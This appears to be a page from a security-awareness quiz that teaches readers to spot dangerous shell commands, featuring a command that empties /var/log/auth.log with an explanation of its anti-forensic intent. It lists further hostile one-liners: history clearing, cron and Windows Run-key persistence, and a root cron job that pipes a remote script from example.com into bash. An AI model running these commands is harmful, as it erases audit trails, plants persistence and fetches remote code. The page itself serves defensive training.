Dangerous
truncate -s 0 /var/log/auth.loglinux · bash · Intermediate
Empties the authentication log while leaving the file in place. Nothing here looks alarming, but destroying the record of who logged in is a hallmark of covering tracks after access, and it breaks the audit trail investigators rely on.
Signals to notice
- Clears a security-relevant log
- Anti-forensic intent
- Leaves the file present so the change is easy to miss
Think you can spot these under time pressure?
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history -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert:> /var/log/syslogAdvanced